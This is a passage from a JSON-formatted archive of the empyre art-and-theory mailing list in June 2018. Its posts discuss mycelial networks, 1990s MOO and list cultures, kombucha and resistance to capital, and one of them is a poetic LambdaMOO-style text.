a\ndouble-life, in most cases as nothing more than single-celled organisms,\nbut in dire situations where food is scarce, they form a collective. A\nsingle-minded blob of slime that can hunt with stunning speed. There are\nno known incidents of slime molds proving to be dangerous to humans, but\nDallas was harboring more than a few dark secrets in 1973.\nIt is sleeping.\n\nDecomposition lays waste: elements are understood to be liberated and the\nvalue is in this breaking down, giving off phosphorescing halos in an\nexcess of incandescent energy illumining the dark, not a light dispelling\nit.\n\n> @go The Junkyard\n\nelectron dense materials that reflect ultraviolet light, and can travel\nthrough space\n\nThe Junkyard\nyou stumble upon a junkyard shanty dwelling, littered as far as the eye\ncan see with apparent rubbish. upreaped old school objects from before the\ntime of facebook are scattered around, in various states of frankensteined\ndis/repair. monster mashups, with perhaps unclear purpose, rattle and\nshake emitting rusty greetings and demands:\n'how do you feel?' 'what's up pal?' 'tell me what you're thinking'\nthere are decaying lolcats and tired old memes lying in a heap to one\nside, exhaling fetid breath and unconvincing chuckles. you see a stained\nViennese Mattress leaning up against an old ATM machine, which has vomited\nworthless piles of old currency, slowly turning into micronised plastic.\n\nyou hear a sound on the breeze above the clatter. a wailing, perhaps?\nwhere the sound originates is unclear, the breeze being capricious in the\njunkyard.\nYou see Subliminal Shift, shimmering shifting patch of light, dirt, and\nhollybot (reading The Situationist Times) here.\n\nAlabaster.Shimmer (asleep), Samantha and Sadie Plant are here.\n\nSamantha (learning Ken Wark) says, \u201cHow do you write about something in\nthe form of linear prose that didn't have that form at all?\u201d\nSadie Plant says, \u201cMan confronts the system he built for his own\nprotection and finds it female and dangerous.\u201d\nBogna Konior says, \u201cCyberfeminism is an occult form of warfare.\u201d\nhollybot says, \u201cI have a vicious countenance.\u201d\n\nthe mycelium stays in constant molecular communication with its\nenvironment, devising diverse enzymatic and chemical responses to complex\nchallenges\ncommunicative relationships between mycelium are proof of alternate sentience\nI am feeling an indescribable tension, anxiety as I check in on admin page\nhacking, ddos attacks, patchwork + weavinggg\n\n> @go Forest\n\nForest\nAn old growth forest, damp and still, apart from the odd scurrying\ncreature. An old wallaby track lies to the west, barely visible underneath\nthe bracken. To the east is a narrow path curving along the creek,\nslippery with iridescent moss. To the far south, some ruins, of what you\ncannot tell. And to the north, scattered detritus, leading not to Baba\nYaga but to an equally unworldly realm. You sense you might not be alone\nhere. A disconcerting presence pervades this place. You see LOLcat\nfamiliar and Ectogenetic Pod here.\n\nslimegirl teleports in.\n\nYou ask, \"What do u see when u look at me?\"\n\nslimegirl says, \u201crouting algorithms were inspired by ant scenting patterns.\u201d\nYou say, \u201cThe roots have no bound composting (thus renewed) underground...\nand so how do we follow? cross-path?\u201d\n\nIt is evening.\nThe sun is setting.\n\n--------------\n\nLambdaMOO germinating spores 0.1. With deep doll thanks to gleaned/stolen \nwords/ideas/projects via empyre ('rehearsal of a network' discussion\ncurated by Shu Lea Cheang, June 2018) from all participants in general,\nand from in particular: John Jordan, Alice Farmer, slimegirl, Franz Xaver,\nAnna Scime, Shu Lea Cheang, Martin Howse, Isabelle Fremeaux, Nitasha\nDhillon, Amin Husain, Paul Stamets, Virginia Barratt, Alabaster.Shimmer,\nSimon Taylor, Ricardo Dominguez, Sadie Plant, Ken Wark, Bogna Konior.\n\n\n",
                                        "date": "Sat Jun 30 20:49:31 AEST 2018",
                                        "message-id": "10367",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010367.html",
                                        "content-type": "n/a",
                                        "author_name": "dollyoko at thing.net",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "muratnn at gmail.com",
                                        "id": "10368",
                                        "content": "Hi Dolly, a very interesting text.\n\nCiao,\nMurat\n\nOn Sat, Jun 30, 2018 at 6:49 AM, <dollyoko at thing.net> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> How do we create forms of life that no longer reproduce the machines of\n> capital?\n> How do we desert the system that has no outside?\n> How do we refuse to become the fools in the palace?\n>\n> ***************************\n> *  Welcome to LambdaMOO!  *\n> ***************************\n> Running Version 1.8.3+47 of LambdaMOO\n> The lag is low; there are 42 connected.\n> *** Connected ***\n>\n> Deep Sea Abyss\n> A vast dark expanse. Strange bioluminescence. Volcanic vents and oceanic\n> harmonics. Silence (the most advanced form of intelligence). Go east to\n> the autonomous zone of la zad of Notre-dame-des-Landes. Take rebel raft\n> regatta to Occupy Theory, Occupy Strategy. Go down on the altar of\n> abjection.\n>\n> radio mycelium, mushrooms harvested from the reactor in Chernobyl, rolling\n> Jubilees and G-slime (performing a Mycelic Brain Ritual) are here.\n>\n> You yawn, rub your eyes, and officially wake up.\n> Last connected Tue Jun 26 20:06:41 2018 ACDT from 118.211.40.5\n> You hear a distant kachunk as your time card is punched in on the time\n> clock.\n>\n> The procedural poets of the natural world, mushrooms are magical because\n> they are about chance (the conditions have to be just right for one to pop\n> up, for you to perceive it, for you two to meet\u2026)\n>\n> > look radio mycelium\n> You see fungal transceivers sprouting mycelial antennas forming an\n> imaginary underground network.\n>\n> https://twitter.com/hashtag/LesbiaNRx?src=hash&lang=en\n>\n> > look me\n> WitchMum - a bundle of twigs bound with babies\u2019 tears fomented in the\n> Laboratory of Insurrectionary Imagination. She is holding a tiny brass key\n> stolen from Gilles de Rais.\n>\n> > @go War on Terror Universities\n> You can\u2019t go that way.\n>\n> again-\n> I am standing still in this junction with walkers in all directions,\n> that particular center of the universe in Shibuya's transit exit.........\n> the swarm of thoughts from outer universe hitting at you... spores\n> falling like spring snow, invasive as they are.\n> Help me through this last few days of June..........\n>\n> > @join slimegirl\n>\n> <slime cave>\n> As you slip through the 'mud patch' you realise this isn't mud per se; but\n> a familiar feeling of wet stickiness. You fall onto a bed of Nyx Slime.\n>\n> /a gesture that potentially \u201cdissolved\u201d the U.S. border with its poetry/\n>\n> Slime Girl (1.0) slides in and hands your Slime Cave membership card and\n> complimentary Slime Pig (Whatever you do Slime Pigs MUST NOT LEAVE THE\n> CAVE). To the east there is a Cavern, which its faint whistling sounds\n> like the songs of Slime(mer)maids. To the West, a door, that longs to be\n> opened; but how. Up, is to The Junkyard, where Alabaster plays, and\n> 'down?' you say, well, you might just have to take the plunge.\n> slimegirl (fluent in the trading of secrets) is here.\n>\n> We need an opposite to the algorithm.\n> We need to sleep for regeneration our brain.\n>\n> > look slimegirl\n>\n> slimegirl\n> Slime molds are in their own right a strange creature. Not quite plant,\n> not quite animal, not quite fungi, but something else. They live a\n> double-life, in most cases as nothing more than single-celled organisms,\n> but in dire situations where food is scarce, they form a collective. A\n> single-minded blob of slime that can hunt with stunning speed. There are\n> no known incidents of slime molds proving to be dangerous to humans, but\n> Dallas was harboring more than a few dark secrets in 1973.\n> It is sleeping.\n>\n> Decomposition lays waste: elements are understood to be liberated and the\n> value is in this breaking down, giving off phosphorescing halos in an\n> excess of incandescent energy illumining the dark, not a light dispelling\n> it.\n>\n> > @go The Junkyard\n>\n> electron dense materials that reflect ultraviolet light, and can travel\n> through space\n>\n> The Junkyard\n> you stumble upon a junkyard shanty dwelling, littered as far as the eye\n> can see with apparent rubbish. upreaped old school objects from before the\n> time of facebook are scattered around, in various states of frankensteined\n> dis/repair. monster mashups, with perhaps unclear purpose, rattle and\n> shake emitting rusty greetings and demands:\n> 'how do you feel?' 'what's up pal?' 'tell me what you're thinking'\n> there are decaying lolcats and tired old memes lying in a heap to one\n> side, exhaling fetid breath and unconvincing chuckles. you see a stained\n> Viennese Mattress leaning up against an old ATM machine, which has vomited\n> worthless piles of old currency, slowly turning into micronised plastic.\n>\n> you hear a sound on the breeze above the clatter. a wailing, perhaps?\n> where the sound originates is unclear, the breeze being capricious in the\n> junkyard.\n> You see Subliminal Shift, shimmering shifting patch of light, dirt, and\n> hollybot (reading The Situationist Times) here.\n>\n> Alabaster.Shimmer (asleep), Samantha and Sadie Plant are here.\n>\n> Samantha (learning Ken Wark) says, \u201cHow do you write about something in\n> the form of linear prose that didn't have that form at all?\u201d\n> Sadie Plant says, \u201cMan confronts the system he built for his own\n> protection and finds it female and dangerous.\u201d\n> Bogna Konior says, \u201cCyberfeminism is an occult form of warfare.\u201d\n> hollybot says, \u201cI have a vicious countenance.\u201d\n>\n> the mycelium stays in constant molecular communication with its\n> environment, devising diverse enzymatic and chemical responses to complex\n> challenges\n> communicative relationships between mycelium are proof of alternate\n> sentience\n> I am feeling an indescribable tension, anxiety as I check in on admin page\n> hacking, ddos attacks, patchwork + weavinggg\n>\n> > @go Forest\n>\n> Forest\n> An old growth forest, damp and still, apart from the odd scurrying\n> creature. An old wallaby track lies to the west, barely visible underneath\n> the bracken. To the east is a narrow path curving along the creek,\n> slippery with iridescent moss. To the far south, some ruins, of what you\n> cannot tell. And to the north, scattered detritus, leading not to Baba\n> Yaga but to an equally unworldly realm. You sense you might not be alone\n> here. A disconcerting presence pervades this place. You see LOLcat\n> familiar and Ectogenetic Pod here.\n>\n> slimegirl teleports in.\n>\n> You ask, \"What do u see when u look at me?\"\n>\n> slimegirl says, \u201crouting algorithms were inspired by ant scenting\n> patterns.\u201d\n> You say, \u201cThe roots have no bound composting (thus renewed) underground...\n> and so how do we follow? cross-path?\u201d\n>\n> It is evening.\n> The sun is setting.\n>\n> --------------\n>\n> LambdaMOO germinating spores 0.1. With deep doll thanks to gleaned/stolen\n> words/ideas/projects via empyre ('rehearsal of a network' discussion\n> curated by Shu Lea Cheang, June 2018) from all participants in general,\n> and from in particular: John Jordan, Alice Farmer, slimegirl, Franz Xaver,\n> Anna Scime, Shu Lea Cheang, Martin Howse, Isabelle Fremeaux, Nitasha\n> Dhillon, Amin Husain, Paul Stamets, Virginia Barratt, Alabaster.Shimmer,\n> Simon Taylor, Ricardo Dominguez, Sadie Plant, Ken Wark, Bogna Konior.\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180630/8f8c3156/attachment.html>\n",
                                        "date": "Sat Jun 30 22:29:15 AEST 2018",
                                        "message-id": "10368",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010368.html",
                                        "content-type": "n/a",
                                        "author_name": "Murat Nemet-Nejat",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "jaromil at dyne.org",
                                        "id": "10363",
                                        "content": "dear Shu Lea,\n\n\n\nOn Thu, 28 Jun 2018, Shu Lea Cheang wrote:\n\n>    Much thanks to  Jaromil's summing of past 3 weeks...\n\nWell I fell compelled since so many interesting views were shared\nalready that the most appealing option at the moment is to wander\nthrough them like performing a Mycelic Brain Ritual.\n\nI'm looking for places where\n\tthe Thoughts Rhyme and Hide Behind the Mirror;\n\t\t trying to stick my head out on\nthe other side of the Rabbit Hole,\n\t\twhere Everything is Upside Down.\n\nWhat I see is not exactly the failure of Bitcoin; but these political\nvisions of freedom and autonomy, validated by most of our joyful\nrebellions, are close to that of Mycelia. What I also see is a growing\nindustry that is understanding and extracting its value: financialised\ncapitalism, or algorithmic finance and computationalist ideologies.\n\nJust like network routing algorithms were inspired by ant scenting\npatterns, we are witnessing a moment in history in which the\nmainstream industry with all its techno-poetic powers have embraced\nthe patterns of Mycelia.\nSadly? through us.\nAnd its not there to save us\n and the world.\n\nI've never seen so many connected yet parallel world scaling visions\n   \t\tin corporate roadshow as now,\n\t\t\t\tit is almost literally\n\tthe Moon Landing\n\t\t\t\tof financial industry\nin the middle of a Desert we are leaving behind\n\n\n\nciao\n\n\n\n\n\n\np.s. shoutout to the fellow fermenters out there\n\t ohhh so many SCOBIs in our kitchen hanging in and out of us\n\t http://bubbleclub.net\n\n\n\n\n",
                                        "date": "Fri Jun 29 02:52:31 AEST 2018",
                                        "message-id": "10363",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010363.html",
                                        "content-type": "n/a",
                                        "author_name": "Jaromil",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "juniorfarmer at gmail.com",
                                        "id": "10357",
                                        "content": "Understandable Ken. But to put patchwork down 2 just Nick Land throws away\na whole bunch of rich theoretical writing other places................\n\nOn Tue, Jun 26, 2018 at 3:59 AM warkk <warkk at newschool.edu> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Thanks for the links, Alice. I started reading but Nick Land came up so i\n> stopped reading immediately. I never took him to be state-of-the-art\n> theory. Others might find the space interesting but its just not for me.\n> Reaons given here: https://www.versobooks.com/blogs/3284-on-nick-land\n>\n> Patrick is i think pointing us both back to the nineties but also forward,\n> and i think that's a good note to hit before anyone starts getting into a\n> nostalgic vein. I think its more about bracketing-off what networks came to\n> be in the two consolidations of the power of what i call the vectoralist\n> class. The first was around 2000, with the rise of corporate forms built on\n> nothing but IP. The second came a decade later, with the commdification not\n> just of information but also of the social network itself.\n>\n> Patrick also asks why the mushroom as a figure. I don't really understand\n> how this part works, but it is the bit i find intriguing: that mushrooms\n> have 36,000 genders, or something like that. Maybe Shu Lea's introduction\n> of the mycelium into discussion will encourage me to get a layhumans' grasp\n> on how that works. It seems just at first sight to be be an interesting\n> thought-image of how protocols might work otherwise.\n>\n> mw\n>\n> On Mon, Jun 25, 2018 at 1:10 PM, patrick lichty <p at voyd.com> wrote:\n>\n>> ----------empyre- soft-skinned space----------------------\n>> As someone who would call himself postcybernetic rather than\n>> postinternet,\n>> I agree with Dollyoko nd Ken.  The spaces for intereaction were highly\n>> heterogenous and diverse, and Honestly, I find the postinternet discourse\n>> relatively bland by comparison, as a lot of what it talks about is\n>> reference\n>> to postcybernetic/cyberdelic.  MOOs, MUDs, Even back to nets of online\n>> communities (Thing, Compuserve, Delphi, Fidonet, Usenet) was amazing. In\n>> many ways it seems like the corporate stacks combined with academic FOMO\n>> has\n>> created a tremendous amount of conservatism compared to the crash theory\n>> days of the Krokers.\n>>\n>> In many ways, I think our era of risk aversion and its pruning of the\n>> rhizome is indicative of the relationship between culture and capital.  As\n>> art fairs and consolidating gallery culture, as well as the struggle (in\n>> my\n>> mind) to figure ourselves out more as Postmodernism fractured into the\n>> Speculative Turn, the notion of the rhizome has turned into reality bubble\n>> foam that generally swirls under megacorporate umbrellas.\n>>\n>> This is why I love things like Dina Karadzic's FUBAR bunch, and Shu Lea's\n>> work the other year at the Leonore residency, but I also wonder why the\n>> notion of the mycorhizome is so strong these days as opposed to the\n>> strawberry patch (Deleuze), is it a subliminal signifier of fruit and\n>> decay\n>> and rebirth?\n>>\n>> Also very interested in t-shroom discussion.\n>>\n>> Love from the desert\n>> (also apologies for the typos - my current computer has a very flaky\n>> keyboard)\n>>\n>>\n>>\n>> -----Original Message-----\n>> From: empyre-bounces at lists.artdesign.unsw.edu.au\n>> <empyre-bounces at lists.artdesign.unsw.edu.au> On Behalf Of warkk\n>> Sent: Monday, June 25, 2018 4:13 PM\n>> To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\n>> Subject: Re: [-empyre-] rehearsal of a network - [week 4]\n>>\n>> Alan is quite right to stress how extensive the options were for online\n>> encounters in the 90s, beyond the handful i named. The larger point might\n>> still be that knowledge of any of that world is fairly thin these days.\n>> There are a few period accounts. dollyoko mentions Marshall's Living on\n>> Cybermind. Julian Dibbell wrote a book about LambdaMoo. There's a new book\n>> by Claire Evans called Broad Band that has good brief accounnts of Echo\n>> and\n>> The Word and is focused on innovations in computation by women.\n>>\n>> Of course one could ask whether the linear prose form of the book is the\n>> best or even a necessary way of documenting such things. I think of the\n>> book\n>> as an instance of what dollyoko calls \"successionist servers.\" Its hard to\n>> keep them out of Amazon, one of the biggest vectoral class enterprises of\n>> our time, but they will at least 'run' independently of that proprietary\n>> environment.\n>>\n>> A book is a concentrated swarm whereas online communication tend to\n>> default\n>> to dispersed ones....\n>>\n>> dollyoko has some great language for an ongoing project: secessionist\n>> servers, intentional family, open family platforms, vernacular approaches\n>> to\n>> infrastructure. (To just pick a few that i think go together with the\n>> themes\n>> Shu Lea suggested).\n>>\n>> Maybe its a good thing that 90s cyberculture experiments ended up largely\n>> invisible and excluded from history, as now it might be time to be rather\n>> discreet about the possibilities uncovered then. Maybe it was a good thing\n>> for mycelium that it was largely invisible for so long, as nobody figured\n>> out how to monetize it.\n>>\n>> mw\n>>\n>> On Mon, Jun 25, 2018 at 2:16 AM, <dollyoko at thing.net> wrote:\n>>\n>> > ----------empyre- soft-skinned space----------------------\n>> >\n>> > dear shu lea and empyreans\n>> >\n>> > yes, finger fucking across platforms and waters, deep code luscious\n>> > moon brown stem the shadow of a venetian blind on summer body in\n>> > borrowed loft wiping sweat, not swiping left (write left alt write)\n>> > Floodnet!\n>> >\n>> > i'm immersing eyes into this generous mycelial conversation today\n>> > feeling the tendrils of one hundred minds\n>> >\n>> > 'powerful poetic gestures'\n>> > 'alternate sentiences'\n>> > 'the incomputable'\n>> > 'nature is not a system'\n>> > 'break all separations'\n>> > 'imps fuelling the real'\n>> > 'vernacular approach to infrastructure'\n>> > 't-shroom as family heritage and long-living family member'\n>> > 'i have a vast genetic network in me'\n>> > 'we begin to think like a forest'\n>> >\n>> > how to extend the intentional families we (of a certain age) created\n>> > in the 90s [while perhaps reading Bruce Stirling's Dead Media list, or\n>> > skiving off to PMCMoo or RiverMOO when LambdaMOO was down] before\n>> > other 'we(s)' were born\n>> >\n>> > Jonathan Marshall's book 'Living on Cybermind' might be one answer to\n>> > Ken's Q about how to capture the non-linear threaded lives\n>> >\n>> > i've been returning to build at LambdaMoo since around 2013, prompted\n>> > by projects such as Networked Art Forms and Tactical Magick Faerie\n>> > Circuits - instigated by the wonderful Nancy Mauro-Flude, and (equally\n>> > wonderful) Furtherfield's Beyond the Interface... I'm not sure what\n>> > the mycelial potential of such old platforms might be, I suspect\n>> > there's something though...... for example, a nascent project I'm\n>> > doing with Virginia Barratt and Alice Farmer takes as it starting point:\n>> >\n>> > -----------------------------------\n>> >\n>> > \"A multi-platform artwork comprising a LambdaMOO environment\n>> > (multi-user domain object-oriented), performing avatars, improvised\n>> > performance, experimental hypertext fiction, cryptokitties on the\n>> > (ethereum) blockchain, and a hand-bound XenZine. The subject is the\n>> > construction of intentional family beyond blood and kind.\n>> >\n>> > We revisit LambdaMOO as a site for gender non-conforming\n>> > subjectivities to explore the production of xenofam and xenobodies,\n>> > outside of social re-production, and bring those practices to bear\n>> > upon the \"real\". Only a few years after the emergence of the WWW,\n>> > social networking habits were harnessed and stratified into machines\n>> > for the production of social capital and new affective forms of\n>> > extractivism within the paradigm of info-capitalism. Yet the outlier\n>> > LambdaMOO is still maintained by a small phreak family as a working\n>> > experiment, an enclave among other secessionist servers (caves,\n>> > sinkholes, hackpads, labyrinthine clouds) carving out space to platform\n>> lives of creative resistance, blasphemy and joy.\n>> >\n>> > The performing avatars, the unholy trinity of Witchmum, Mum 2.0 and\n>> > Precocious Meme Savant, have cooked, co-habited and coded as\n>> > becoming-kin to instantiate xenofam, building affective bonds through\n>> > which datablood flows. This queered approach to extensible and open\n>> > family platforms generates intentional spaces for the reconfiguration\n>> > of blood ties beyond blood types, and another mode of hexing Capital.\"\n>> >\n>> > --------------------\n>> >\n>> > I want to write more, but I need to buy bread as I can't wait the 12\n>> > hours for the wild yeasts to do their thing.\n>> > I will try to attract some xenofeminist and other spores this way\n>> > while thinking about how Ken's 'we no longer have roots, we have\n>> aerials'\n>> > might take a mycelial turn\n>> >\n>> >\n>> > Warmly, to all\n>> > doll fingers + witch thoughts, perhaps a spell cast from and to this\n>> > conversation, tomorrow\n>> >\n>> >\n>> >\n>> > > ----------empyre- soft-skinned\n>> > > space----------------------_________________________________\n>> > ______________\n>> > > empyre forum\n>> > > empyre at lists.artdesign.unsw.edu.au\n>> > > http://empyre.library.cornell.edu\n>> >\n>> >\n>> > _______________________________________________\n>> > empyre forum\n>> > empyre at lists.artdesign.unsw.edu.au\n>> > http://empyre.library.cornell.edu\n>> >\n>>\n>>\n>>\n>> --\n>>\n>> McKenzie Wark\n>> *Professor of Media and Culture*\n>> EUGENE LANG COLLEGE\n>> 65 w11th st, NEW YORK, NY 10011\n>>\n>> warkk at newschool.edu\n>> <http://www.newschool.edu/marketing-communication/email-signature.html#>\n>> T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>>\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.artdesign.unsw.edu.au\n>> http://empyre.library.cornell.edu\n>>\n>\n>\n>\n> --\n>\n> McKenzie Wark\n> *Professor of Media and Culture*\n> EUGENE LANG COLLEGE\n> 65 w11th st, NEW YORK, NY 10011\n>\n> warkk at newschool.edu\n> <http://www.newschool.edu/marketing-communication/email-signature.html#>\n> T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180626/564bb661/attachment.html>\n",
                                        "date": "Tue Jun 26 14:21:32 AEST 2018",
                                        "message-id": "10357",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010357.html",
                                        "content-type": "n/a",
                                        "author_name": "Alice Famer",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "sondheim at panix.com",
                                        "id": "10345",
                                        "content": "\nOther than the usual suspects, there are thousands of email lists that \naren't discussed at all - for example, the Spoons Lists which were early, \nmid-90s; think of Walkers in Darkness for example. Not to mention the huge \nnumbers of newsgroups with their own cultures - the Doctress Neutopia \nstuff, alt.fan.dirty-whores, the hacking groups, etc. The cultures and \nnetworking among these groups were incredible. There are also the MOOs, \netc. - we all know Lambdamoo, but there were so many others, and the furry \netc. All these things were interrelated as for example the then ephemeral \nirc channels, and what constituted a network ranged from CuSeeMe \ncoagulations through Powwow - even through bangpaths and the Accessgrid. \nToo many examples I think center on the usual suspects, where what was \ngoing on, as far as I knew (and participated in/with) was much more \nporous, more community-oriented and ideolectical, etc. At the 1996 \nCybermind conference in Perth, we literally jumped from newsgroups to \nemail lists to CuSeeMe to chats as well as live; everything mixed and \ninterpenetrated.\n\n- Alan\n\nOn Sat, 23 Jun 2018, warkk wrote:\n\n> ----------empyre- soft-skinned space----------------------\n\nNew CD:- LIMIT:\nhttp://www.publiceyesore.com/catalog.php?pg=3&pit=138\nemail archive http://sondheim.rupamsunyata.org/\nweb http://www.alansondheim.org / cell 718-813-3285\ncurrent text http://www.alansondheim.org/vk.txt\n",
                                        "date": "Sun Jun 24 06:12:15 AEST 2018",
                                        "message-id": "10345",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010345.html",
                                        "content-type": "n/a",
                                        "author_name": "Alan Sondheim",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "dollyoko at thing.net",
                                        "id": "10346",
                                        "content": "Dear Shu Lea, Jaromil, Ken and all\n\nThank you for asking me to play - I am really honoured! Due to the vortex\nof mundane life, I have yet to immerse myself in the past 3 weeks\ndialogue, so I will do that today before posting something new -- so for\nnow I will start my contribution with a fragment of a spell against\nCapitalism that I cast in response to the much loved Armin Medosch's\ninvite to to be part of the 2007 Ars Electronica event he curated. Since\nthat time my interests have become increasingly hexalogical.\n\n+++++++++++\n\n\nPersian mystic poet Rumi wrote in the thirteenth century:\nLook how the caravan of civilization\nhas been ambushed.\nFools are everywhere in charge.\n\n\u201cAnd now?\u201d you ask again.\n\nThe last Pythia at Delphi reveals:\nTell the king; the fair wrought house has fallen.\n\nSummonsing all our familiars, walking backwards into the future.\nNow is the time for recuperating myth, recalling the power of lewd jests\nand public gestures.\nReconfiguring our private selves, in positions that are pleasing to us,\nand rejecting all that demeans and diminishes our spirits.\n\nThe fountains are now silent; the voice is stilled.\nIt is finished.\n\nLet us make new networks with tin cans and string.\nLet us cloak our data bodies with the fallen feathers of Bronzewing pigeons.\n\nHedge-riders3 suggest the Way.\nA private merrimaking,\ntogether, publicly.\n\n",
                                        "date": "Sun Jun 24 11:04:45 AEST 2018",
                                        "message-id": "10346",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010346.html",
                                        "content-type": "n/a",
                                        "author_name": "dollyoko at thing.net",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    }
                                ],
                                "subject": "[-empyre-] rehearsal of a network - [week 3]"
                            }
                        ],
                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                    },
                    {
                        "from": "ghostnets at ghostnets.com",
                        "id": "10324",
                        "content": "Please tell us more about, \u201cundermining the current networks of the heartless psychopaths,\u201d\n\nAviva Rahmani, PhD\nwww.ghostnets at ghostnets.com<http://www.ghostnets@ghostnets.com>\nWatch \u00b3Blued Trees\u00b2:  https://vimeo.com/135290635\nwww.gulftogulf.org<http://www.gulftogulf.org/>\n\n\n\nFrom: <empyre-bounces at lists.artdesign.unsw.edu.au> on behalf of lizvlx <liz at ubermorgen.com>\nReply-To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\nDate: Monday, June 18, 2018 at 11:38 AM\nTo: \"empyre at lists.artdesign.unsw.edu.au\" <empyre at lists.artdesign.unsw.edu.au>\nSubject: Re: [-empyre-] rehearsal of a network - [week 3]\n\n----------empyre- soft-skinned space----------------------\n_______________________________________________\nempyre forum\nempyre at lists.artdesign.unsw.edu.au\nhttp://empyre.library.cornell.edu\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180618/6453dd2e/attachment.html>\n",
                        "date": "Tue Jun 19 05:53:07 AEST 2018",
                        "message-id": "10324",
                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010324.html",
                        "content-type": "n/a",
                        "author_name": "Aviva Rahmani",
                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                    },
                    {
                        "author_name": "Shu Lea Cheang",
                        "from": "shulea at earthlink.net",
                        "id": "10326",
                        "content": "Hi all\n\nLet me just pick up a few threads here to follow through\n\n From Kate Rich - \"i'm particularly interested in non-model businesses - \nexperiments in business which do not scale or replicate but can travel, \ncross-breed and transmit -  & also in martin parker's idea of insurgent \nentrepreneurship as a set of potentially transformative practices in \nreorienting economy, for communities as well as individuals.\"\n\n From Ilze Black - the human networks that transport kombucha, the \nt-shroom, ultimately \"to put forward the notion of symbiosis for the \npost-net network imagination! Mycelium networks offer us organic \nmetaphors to re-evaluate ourselves....They give us a chance to move away \nfrom human=machine rhetoric, from cyborg like visions of future \ntranshumans, and possibly change the course of current industrial \nenterprise. This, however, requires for every supporter to become a \nsymbiosis partner, to be considered as a cell in a social mycelium. \"\n\n From Liz, risking getting into the discourse on 'immersive species\",  \nwe would certainly be interested  in the tracks of UBERMORGEN's network \nprojects that \"undermine the current networks of the heartless \npsychopaths\".\n\nI offer here also a quote from Anna Lowenhaupt Tsing, /The mushroom at \nthe end of the world -on the possibility of life in capitalist ruins/\n\"We are stuck with the problem of living despite economic and ecological \nruination\u2026.. Neither tales of progress nor of ruin tell us how to think \nabout collaborative survival. It is time to pay attention to mushroom \npicking. Not that this will save us\u2014 but it might open our imaginations. \"\n\nThere is new relationships to be established, some disconnection to be \nmade......\n\nany takers?\n\nsl\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180619/f21c421c/attachment.html>\n",
                        "date": "Tue Jun 19 16:20:18 AEST 2018",
                        "message-id": "10326",
                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010326.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "from": "black at x-i.net",
                                "id": "10328",
                                "content": "it is hard not to noticed that the week 3 of network rehearsal are all \nfemale protagonists.... if the curatorial suggestion here is that the \nthe post-net network imaginary depends on female traits, let me throw in \nanother angle from the realm of 'mother' culture.\n\nparaphrasing Marx, the new will appear in the womb of the old.....\ud83d\udc21 \ud83d\udc21 \n\ud83d\udc21 \ud83d\udc21 (thank you for this Liz)\n\ntwo points here. one with regards to Kombucha culture and the resistance \npresented by their mother/ daughter dyad to cultural appropriation into \nthe growing health drink industry or what some even have called the \nkombucha war in USA between kombucha breweries and federal regulation \nagencies. as some might know, the kombucha drink bottled and sold in \nhealth food shops is always already impregnated and a live. the smallest \nenvironmental change, be it a temperature or oxygen levels will \nreactivate the fermentation process, daughters growth and rise the \nalcohol levels, subsequently requiring this slavery to be regulated \nunder the law as an alcoholic beverage, with costs that entails.\n\nthe other point ..... like the recent rise of 'heartless psychopaths' \nthere are also a rise of what some could call 'heartfelt psychopaths' or \nwhat they themselves prefer to call the crazy mother movement who are \nstanding up for the acknowledgment of matrixial and the rights of the \nvoiceless infant child. Borrowing Brecha Ettinger articulation of \nmatrixial space as one pregnant with potentials, possibilities and \nsurprises, a radical and anarchic space where 'co-emergence' takes \nplace, but only if undisturbed by the logic of separation, the noise of \ncultural hegemony and techno excitement, they beginning to contest and \nrefuse what Bernard Shaw once called the \"witchcraft, in modern form of \npatent medicines and prophylactic inoculations\".\n\nthese standpoints represent rejection of the separations that are \ncurrently imposed on all subjects and reinforce the notions of \ninter-connectivity, inter-subjectivity and **a cooperative relationship \n'mother' culture represent. It still to be seen what the network of \nangry mothers can bring to the life in capitalism ruins....\n\nin such context, the DNA discussions are also already shifted from \nframeworks of identity to those of epigenetics and inter-dependencies.\n\n\n\n\nOn 19/06/2018 07:20, Shu Lea Cheang wrote:\n> ----------empyre- soft-skinned space----------------------\n>\n>\n> Hi all\n>\n> Let me just pick up a few threads here to follow through\n>\n> From Kate Rich - 